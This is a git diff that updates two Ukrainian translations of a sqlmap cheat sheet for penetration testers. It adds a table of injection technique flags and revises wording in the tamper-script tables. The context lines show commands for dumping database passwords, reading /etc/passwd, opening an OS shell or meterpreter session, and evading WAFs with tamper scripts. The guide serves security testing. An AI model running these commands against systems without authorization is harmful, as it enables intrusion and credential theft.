diff --git a/src/pentesting-web/sql-injection/sqlmap.md b/src/pentesting-web/sql-injection/sqlmap.md index 9e4efbfed..32dd7e76e 100644 --- a/src/pentesting-web/sql-injection/sqlmap.md +++ b/src/pentesting-web/sql-injection/sqlmap.md @@ -21,6 +21,24 @@ --auth-cred="" #HTTP authentication credentials (name:password) --proxy=PROXY ``` +### Technique flags (`--technique`) + +Аргумент `--technique` визначає, які методи SQL-ін'єкцій sqlmap спробує. +Кожен символ у рядку представляє техніку: + +| Літера | Техніка | Опис | +| ------ | --------- | ----------- | +| B | Boolean-based blind | Використовує умови true/false для виведення даних | +| E | Error-based | Використовує детальні повідомлення про помилки СУБД для ексфільтрації результатів | +| U | UNION query | Впроваджує оператори `UNION SELECT` для отримання даних через той же канал | +| S | Stacked queries | Додає додаткові оператори, розділені `;` | +| T | Time-based blind | Спирається на затримки (`SLEEP`, `WAITFOR`), щоб виявити ін'єкцію | +| Q | Inline / out-of-band | Використовує функції, такі як `LOAD_FILE()`, або OOB-канали, такі як DNS | + +Замовчуваний порядок - `BEUSTQ`. Ви можете переставити або обмежити їх, наприклад, лише Boolean і Time-based у цьому порядку: +```bash +sqlmap -u "http://target/?id=1" --technique="BT" --batch +``` ### Отримати інформацію #### Внутрішній @@ -31,7 +49,7 @@ --users #Get usernames od DB --passwords #Get passwords of users in DB ``` -#### DB дані +#### Дані БД ```bash --all #Retrieve everything --dump #Dump DBMS database table entries @@ -53,7 +71,7 @@ sqlmap -r req.txt --current-user sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id ``` -### Впровадження POST запиту +### Впровадження запиту POST ```bash sqlmap -u "http://example.com" --data "username=*&password=*" ``` @@ -87,7 +105,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell #Dropping a reverse-shell / meterpreter python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ``` -### Обход веб-сайту з SQLmap та автоматичне використання експлойтів +### Обхід веб-сайту з SQLmap та автоматичне використання експлойтів ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 @@ -117,24 +135,24 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch ``` | Tamper | Опис | | :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- | -| apostrophemask.py | Замінює символ апострофа на його повноширокий еквівалент UTF-8 | -| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвійний юнікодний еквівалент | +| apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог | +| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог | | appendnullbyte.py | Додає закодований символ NULL байта в кінець payload | -| base64encode.py | Кодує всі символи в заданому payload у Base64 | +| base64encode.py | Кодує всі символи в заданому payload у Base64 | | between.py | Замінює оператор більше ніж \('>'\) на 'NOT BETWEEN 0 AND \#' | | bluecoat.py | Замінює символ пробілу після SQL запиту на дійсний випадковий пробіл. Потім замінює символ = на оператор LIKE | | chardoubleencode.py | Подвійно URL-кодує всі символи в заданому payload \(не обробляючи вже закодовані\) | | commalesslimit.py | Замінює випадки на кшталт 'LIMIT M, N' на 'LIMIT N OFFSET M' | -| commalessmid.py | Замінює випадки на кшталт 'MID\(A, B, C\)' на 'MID\(A FROM B FOR C\)' | -| concat2concatws.py | Замінює випадки на кшталт 'CONCAT\(A, B\)' на 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' | +| commalessmid.py | Замінює випадки на кшталт 'MID\(A, B, C\)' на 'MID\(A FROM B FOR C\)' | +| concat2concatws.py | Замінює випадки на кшталт 'CONCAT\(A, B\)' на 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' | | charencode.py | URL-кодує всі символи в заданому payload \(не обробляючи вже закодовані\) | -| charunicodeencode.py | Юнікод-URL-кодує не закодовані символи в заданому payload \(не обробляючи вже закодовані\). "%u0022" | -| charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому payload \(не обробляючи вже закодовані\). "\u0022" | +| charunicodeencode.py | Юнікод-URL-кодує не закодовані символи в заданому payload \(не обробляючи вже закодовані\). "%u0022" | +| charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому payload \(не обробляючи вже закодовані\). "\u0022" | | equaltolike.py | Замінює всі випадки оператора рівності \('='\) на оператор 'LIKE' | -| escapequotes.py | Екранує лапки \(' і "\) | -| greatest.py | Замінює оператор більше ніж \('>'\) на його еквівалент 'GREATEST' | +| escapequotes.py | Екранує лапки \(' і "\) | +| greatest.py | Замінює оператор більше ніж \('>'\) на його аналог 'GREATEST' | | halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом | -| ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL\(A, B\)' на 'IF\(ISNULL\(A\), B, A\)' | +| ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL\(A, B\)' на 'IF\(ISNULL\(A\), B, A\)' | | modsecurityversioned.py | Обгортає повний запит у версійний коментар | | modsecurityzeroversioned.py | Обгортає повний запит у коментар з нульовою версією | | multiplespaces.py | Додає кілька пробілів навколо SQL ключових слів | @@ -152,16 +170,19 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch | space2mssqlblank.py | Замінює символ пробілу \(' '\) на випадковий пробіл з дійсного набору альтернативних символів | | space2mssqlhash.py | Замінює символ пробілу \(' '\) на символ фунта \('\#'\), за яким слідує новий рядок \('\n'\) | | space2mysqlblank.py | Замінює символ пробілу \(' '\) на випадковий пробіл з дійсного набору альтернативних символів | -| space2mysqldash.py | Замінює символ пробілу \(' '\) на коментар у вигляді дефісу \('--'\), за яким слідує новий рядок \('\n'\) | +| space2mysqldash.py | Замінює символ пробілу \(' '\) на коментар у вигляді дефісу \('--'\), за яким слідує новий рядок \('\n'\) | | space2plus.py | Замінює символ пробілу \(' '\) на плюс \('+'\) | | space2randomblank.py | Замінює символ пробілу \(' '\) на випадковий пробіл з дійсного набору альтернативних символів | -| symboliclogical.py | Замінює логічні оператори AND і OR на їх символічні еквіваленти \(&& і | +| symboliclogical.py | Замінює логічні оператори AND і OR на їх символічні аналоги \(&& і | | unionalltounion.py | Замінює UNION ALL SELECT на UNION SELECT | -| unmagicquotes.py | Замінює символ лапки \('\) на комбінацію з багатьох байтів %bf%27 разом з загальним коментарем в кінці \(щоб це працювало\) | +| unmagicquotes.py | Замінює символ лапки \('\) на комбінацію з багатьох байтів %bf%27 разом з загальним коментарем в кінці \(щоб це працювало\) | | uppercase.py | Замінює кожен символ ключового слова на верхній регістр 'INSERT' | | varnish.py | Додає HTTP заголовок 'X-originating-IP' | | versionedkeywords.py | Обгортає кожне не функціональне ключове слово у версійний коментар MySQL | | versionedmorekeywords.py | Обгортає кожне ключове слово у версійний коментар MySQL | | xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' | +## References +- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/sqlmap/README.md b/src/pentesting-web/sql-injection/sqlmap/README.md index a652e0af5..8ded6d192 100644 --- a/src/pentesting-web/sql-injection/sqlmap/README.md +++ b/src/pentesting-web/sql-injection/sqlmap/README.md @@ -23,6 +23,23 @@ --proxy=http://127.0.0.1:8080 --union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char ``` +### Technique flags (`--technique`) + +Опція `--technique` дозволяє обмежити або змінити порядок технік SQL-ін'єкцій, які тестуватиме sqlmap. Кожна літера відповідає різному класу корисних навантажень: + +| Літера | Техніка | Опис | +| ------ | --------- | ----------- | +| B | Boolean-based blind | Використовує умови true/false у відповіді сторінки для виведення результатів | +| E | Error-based | Використовує детальні повідомлення про помилки СУБД для витягування даних | +| U | UNION query | Впроваджує оператори `UNION SELECT` для отримання даних через той же канал | +| S | Stacked queries | Додає додаткові оператори, розділені SQL-роздільником (`;`) | +| T | Time-based blind | Спирається на затримки `SLEEP/WAITFOR` для виявлення ін'єкційних умов | +| Q | Inline / out-of-band | Використовує функції, такі як `LOAD_FILE()` або ексфільтрацію DNS для витягування даних | + +За замовчуванням порядок, який буде дотримуватись sqlmap, - це `BEUSTQ` (всі техніки). Ви можете змінити як порядок, так і підмножину. Наприклад, наступна команда **лише** спробує техніки UNION query та Time-based blind, спочатку намагаючись UNION: +```bash +sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch +``` ### Отримати інформацію #### Внутрішній @@ -34,7 +51,7 @@ --passwords #Get passwords of users in DB --privileges #Get privileges ``` -#### Дані БД +#### DB дані ```bash --all #Retrieve everything --dump #Dump DBMS database table entries @@ -43,13 +60,13 @@ --columns #Columns of a table ( -D -T ) -D -T
-C #Dump column ``` -Використовуючи [SQLMapping](https://taurusomar.github.io/sqlmapping/), це практичний інструмент, який генерує команди та надає повний огляд, як базовий, так і розширений, для SQLMap. Він включає ToolTips, які пояснюють кожен аспект інструменту, детально описуючи кожну опцію, щоб ви могли покращити та зрозуміти, як використовувати його ефективно та результативно. +Використовуючи [SQLMapping](https://taurusomar.github.io/sqlmapping/), це практичний інструмент, який генерує команди та надає повний огляд, як базовий, так і розширений, для SQLMap. Він включає ToolTips, які пояснюють кожен аспект інструмента, детально описуючи кожну опцію, щоб ви могли покращити та зрозуміти, як використовувати його ефективно та результативно. -## Місце ін'єкції +## Injection place -### З захоплення Burp/ZAP +### From Burp/ZAP capture -Захопіть запит і створіть файл req.txt. +Захопіть запит і створіть файл req.txt ```bash sqlmap -r req.txt --current-user ``` @@ -86,11 +103,11 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*" ### Eval -**Sqlmap** дозволяє використовувати `-e` або `--eval`, щоб обробити кожен payload перед його відправкою з деяким python oneliner. Це робить дуже простим і швидким обробку payload у власний спосіб перед його відправкою. У наступному прикладі **flask cookie session** **підписується flask з відомим секретом перед відправкою**: +**Sqlmap** дозволяє використовувати `-e` або `--eval` для обробки кожного payload перед його відправкою з деяким python oneliner. Це робить дуже простим і швидким обробку payload у кастомних способах перед його відправкою. У наступному прикладі **flask cookie session** **підписується flask з відомим секретом перед відправкою**: ```bash sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump ``` -### Шелл +### Shell ```bash #Exec command python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami @@ -105,7 +122,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ```bash --file-read=/etc/passwd ``` -### Обход веб-сайту з SQLmap та автоматичне використання експлойтів +### Обхід вебсайту з SQLmap та автоматичне використання експлойтів ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 @@ -137,7 +154,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch ``` ### Tamper -Пам'ятайте, що **ви можете створити свій власний tamper на python** і це дуже просто. Ви можете знайти приклад tamper на [сторінці Другого Порядку Впровадження тут](second-order-injection-sqlmap.md). +Пам'ятайте, що **ви можете створити свій власний tamper на python** і це дуже просто. Ви можете знайти приклад tamper на [сторінці Другого порядку ін'єкції тут](second-order-injection-sqlmap.md). ```bash --tamper=name_of_the_tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper @@ -145,33 +162,33 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch | Tamper | Опис | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог | -| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог | -| appendnullbyte.py | Додає закодований символ NULL байта в кінець payload | -| base64encode.py | Кодує всі символи в заданому payload у Base64 | +| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог | +| appendnullbyte.py | Додає закодований символ NULL байта в кінець payload | +| base64encode.py | Кодує всі символи в заданому payload у форматі Base64 | | between.py | Замінює оператор більше ніж ('>') на 'NOT BETWEEN 0 AND #' | | bluecoat.py | Замінює символ пробілу після SQL запиту на дійсний випадковий пробіл. Потім замінює символ = на оператор LIKE | | chardoubleencode.py | Подвійно URL-кодує всі символи в заданому payload (не обробляючи вже закодовані) | | commalesslimit.py | Замінює випадки на кшталт 'LIMIT M, N' на 'LIMIT N OFFSET M' | | commalessmid.py | Замінює випадки на кшталт 'MID(A, B, C)' на 'MID(A FROM B FOR C)' | | concat2concatws.py | Замінює випадки на кшталт 'CONCAT(A, B)' на 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' | -| charencode.py | URL-кодує всі символи в заданому payload (не обробляючи вже закодовані) | +| charencode.py | URL-кодує всі символи в заданому payload (не обробляючи вже закодовані) | | charunicodeencode.py | Юнікод-URL-кодує не закодовані символи в заданому payload (не обробляючи вже закодовані). "%u0022" | | charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому payload (не обробляючи вже закодовані). "\u0022" | | equaltolike.py | Замінює всі випадки оператора рівності ('=') на оператор 'LIKE' | -| escapequotes.py | Екранує лапки (' і ") | +| escapequotes.py | Екранує лапки (' і ") | | greatest.py | Замінює оператор більше ніж ('>') на його аналог 'GREATEST' | | halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом | | ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL(A, B)' на 'IF(ISNULL(A), B, A)' | -| modsecurityversioned.py | Обгортає повний запит у версійний коментар | +| modsecurityversioned.py | Обгортає повний запит у версійний коментар | | modsecurityzeroversioned.py | Обгортає повний запит у коментар з нульовою версією | | multiplespaces.py | Додає кілька пробілів навколо SQL ключових слів | | nonrecursivereplacement.py | Замінює попередньо визначені SQL ключові слова на представлення, придатні для заміни (наприклад, .replace("SELECT", "")) фільтри | -| percentage.py | Додає знак відсотка ('%') перед кожним символом | +| percentage.py | Додає знак відсотка ('%') перед кожним символом | | overlongutf8.py | Конвертує всі символи в заданому payload (не обробляючи вже закодовані) | -| randomcase.py | Замінює кожен символ ключового слова на випадкове значення регістру | +| randomcase.py | Замінює кожен символ ключового слова на випадкове значення регістру | | randomcomments.py | Додає випадкові коментарі до SQL ключових слів | | securesphere.py | Додає спеціально підготовлений рядок | -| sp_password.py | Додає 'sp_password' в кінець payload для автоматичного затемнення з журналів DBMS | +| sp_password.py | Додає 'sp_password' в кінець payload для автоматичного затемнення в журналах DBMS | | space2comment.py | Замінює символ пробілу (' ') на коментарі | | space2dash.py | Замінює символ пробілу (' ') на коментар у вигляді дефісу ('--'), за яким слідує випадковий рядок і новий рядок ('\n') | | space2hash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n') | @@ -183,11 +200,16 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch | space2plus.py | Замінює символ пробілу (' ') на плюс ('+') | | space2randomblank.py | Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів | | symboliclogical.py | Замінює логічні оператори AND і OR на їх символічні аналоги (&& і | -| unionalltounion.py | Замінює UNION ALL SELECT на UNION SELECT | +| unionalltounion.py | Замінює UNION ALL SELECT на UNION SELECT | | unmagicquotes.py | Замінює символ лапки (') на комбінацію з кількох байтів %bf%27 разом з загальним коментарем в кінці (щоб це працювало) | | uppercase.py | Замінює кожен символ ключового слова на верхній регістр 'INSERT' | -| varnish.py | Додає HTTP заголовок 'X-originating-IP' | +| varnish.py | Додає HTTP заголовок 'X-originating-IP' | | versionedkeywords.py | Обгортає кожне не функціональне ключове слово у версійний коментар MySQL | | versionedmorekeywords.py | Обгортає кожне ключове слово у версійний коментар MySQL | +| xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' | + + +## References +- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/) {{#include ../../../banners/hacktricks-training.md}}